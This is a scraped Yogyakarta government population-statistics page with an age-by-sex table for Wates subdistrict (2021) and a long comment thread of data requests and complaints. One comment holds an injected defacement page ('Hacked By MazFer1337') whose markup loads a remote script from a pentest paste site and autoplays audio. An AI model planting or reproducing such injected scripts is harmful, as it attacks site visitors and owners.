Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN WATES, KABUPATEN KULON PROGO, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaWATESKARANGWUNISOGANKULWARUNGESTIHARJOBENDUNGANTRIHARJOGIRIPENITotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun160116 2764136 772019 392026 463142 736478 1428670 15610183 184523 470 993
2 tahun7981 1602421 451911 302612 382616 426445 1096746 1134461 105349 293 642
3 tahun8281 1633626 621221 332326 492620 463734 715944 1035652 108331 304 635
4 tahun6685 1512429 531315 281313 262123 444850 984345 883448 82262 308 570
5 tahun10097 1973025 55116 171619 352925 546060 1206153 1147573 148382 358 740
6 tahun10296 1983228 601610 261818 362119 404660 1066763 1306052 112362 346 708
7 tahun94108 2022532 571012 221825 432129 504946 955850 1085950 109334 352 686
8 tahun11992 2113527 621518 332318 413023 536046 1066752 1195759 116406 335 741
9 tahun11371 1844030 701713 301724 411927 465053 1036355 1187357 130392 330 722
10 tahun97102 1992223 451914 332317 403028 586643 1095859 1175557 112370 343 713
11 tahun104110 2143223 552016 361717 341929 486460 1247458 1326957 126399 370 769
12 tahun111126 2372433 572012 322724 512726 536650 1165850 1088155 136414 376 790
13 tahun123113 2363122 531610 263021 513921 605547 1025832 906461 125416 327 743
14 tahun128111 2392826 541510 252127 483528 637354 1275651 1078172 153437 379 816
15 tahun101109 2103126 571411 252830 582829 575455 1096747 1146470 134387 377 764
16 tahun106113 2192824 521419 331923 423420 544451 957151 1227062 132386 363 749
17 tahun12495 2192328 511713 301722 393127 585350 1034954 1034956 105363 345 708
18 tahun119112 2311618 341519 341519 342219 415750 1076850 1188264 146394 351 745
19 tahun103103 2062330 531712 292124 452828 564951 1005254 1067851 129371 353 724
20 tahun134106 2402222 44156 212724 511821 395261 1136054 1146155 116389 349 738
21 tahun109119 2282828 562219 412731 582825 536859 1275768 1256357 120402 406 808
22 tahun9391 1842115 361219 312922 512835 634750 974746 936556 121342 334 676
23 tahun103105 2083022 522115 362327 502528 535051 1014770 1176762 129366 380 746
24 tahun9187 1782319 421320 332322 452127 485042 926049 1096350 113344 316 660
25 tahun120102 2223119 501821 392612 382921 504554 996555 1206862 130402 346 748
26 tahun107101 2082231 531417 312028 483629 655041 915250 1026155 116362 352 714
27 tahun8696 1823024 541610 263222 542627 535758 1155452 1066054 114361 343 704
28 tahun7982 1611731 481514 291825 432212 344553 984661 1075750 107299 328 627
29 tahun114103 2172823 511911 301510 251826 445743 1004739 866250 112360 305 665
30 tahun76103 1793231 63711 181520 351517 324564 1094449 935356 109287 351 638
31 tahun9094 1842616 421211 232017 371321 343748 855435 894361 104295 303 598
32 tahun9884 1822329 521911 302219 413121 524647 935041 915247 99341 299 640
33 tahun92101 1932219 411213 251513 282020 404337 804947 965559 114308 309 617
34 tahun93105 1981923 42139 221417 312421 454344 874853 1015566 121309 338 647
35 tahun12494 2182026 461610 261323 362324 476335 983950 894852 100346 314 660
36 tahun101107 2082227 491010 202221 431332 456058 1185261 1136067 127340 383 723
37 tahun86101 1872626 521119 301411 252223 456249 1116055 1156472 136345 356 701
38 tahun109120 2292527 521415 292022 422531 564360 1035760 1176064 124353 399 752
39 tahun104102 2062824 521713 301919 382927 566459 1236462 1267358 131398 364 762
40 tahun95100 1952320 431216 282022 422725 524655 1016465 1297267 139359 370 729
41 tahun93102 1953127 58717 241425 391836 545251 1036452 1166678 144345 388 733
42 tahun104124 2282634 601815 332416 403325 585241 936950 1197658 134402 363 765
43 tahun113107 2202732 59108 181819 372832 605658 1145445 995159 110357 360 717
44 tahun111113 2242228 501510 252219 412623 495652 1084554 995973 132356 372 728
45 tahun114103 2173328 611816 341824 423125 563948 876054 1145458 112367 356 723
46 tahun9490 1842121 421715 322515 403425 595753 1105650 1065861 119362 330 692
47 tahun92101 1932833 61922 312021 412422 463840 784741 886255 117320 335 655
48 tahun92105 1972633 591119 301921 403217 494155 965159 1105154 105323 363 686
49 tahun8186 1672420 441215 271422 361715 324753 1005049 995252 104297 312 609
50 tahun97101 1982021 411420 341924 432422 464743 904749 963948 87307 328 635
51 tahun114113 2273032 621519 342822 502030 506446 1104355 985248 100366 365 731
52 tahun114113 2273724 612214 361832 502420 445352 1054160 1016067 127369 382 751
53 tahun97105 2022418 421014 241923 422332 554646 925640 966361 124338 339 677
54 tahun7889 1672036 561517 322020 402122 433935 744057 975550 105288 326 614
55 tahun100115 2153026 562014 343016 462721 485150 1016162 1235359 112372 363 735
56 tahun83107 1902228 501018 282019 392533 584258 1003950 894658 104287 371 658
57 tahun92115 2072322 451311 241718 352615 413045 752846 746267 129291 339 630
58 tahun9395 188229 311612 281619 351726 433344 772936 654458 102270 299 569
59 tahun104104 2081716 331511 261713 302518 434046 863848 865153 104307 309 616
60 tahun9299 1912315 381714 311823 412218 404748 955142 934651 97316 310 626
61 tahun8097 1771719 361213 251914 332412 365144 954341 845058 108296 298 594
62 tahun7380 1531519 34913 221516 311021 313534 694734 814348 91247 265 512
63 tahun6254 1161317 30710 171218 301316 292733 602846 744439 83206 233 439
64 tahun6360 1231512 271010 201817 351313 263130 612743 703637 73213 222 435
65 tahun6562 1271716 33911 201417 311122 332727 542541 663746 83205 242 447
66 tahun5357 110919 281013 23910 191222 342926 552939 684527 72196 213 409
67 tahun4365 1081210 2261 71215 271415 292423 472628 542329 52160 186 346
68 tahun4353 9688 1655 101313 261316 293232 643236 683120 51177 183 360
69 tahun5653 10978 1599 18713 201012 222021 413419 532328 51166 163 329
70 tahun3947 8657 12106 16158 231813 312925 542919 482822 50173 147 320
71 tahun3237 69611 1746 10107 171014 241523 381937 561717 34113 152 265
72 tahun3337 701111 2232 568 14210 121214 261622 381113 2494 117 211
73 tahun2925 5435 849 1355 1068 14520 251619 351314 2781 105 186
74 tahun1427 4112 345 943 779 16115 161615 311010 2067 76 143
75 tahun2130 5193 1239 12111 12107 17632 38812 201423 3772 127 199
76 tahun1623 3936 947 1158 13716 231120 312312 351926 4588 118 206
77 tahun1630 4659 1405 525 758 13514 191616 321014 2459 101 160
78 tahun1431 4515 625 796 1572 91217 291018 281315 2868 99 167
79 tahun2122 4324 614 555 1046 10118 19613 19610 1656 72 128
80 ke atas72121 1932949 782636 622358 812856 845490 1445195 14651100 151334 605 939
Jumlah6.9387.12214.0601.7571.7523.5091.0301.0312.0611.4261.5002.9261.7311.7673.4983.5093.5537.0623.7683.7107.4784.1384.1248.262 24.297 24.559 48.856
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih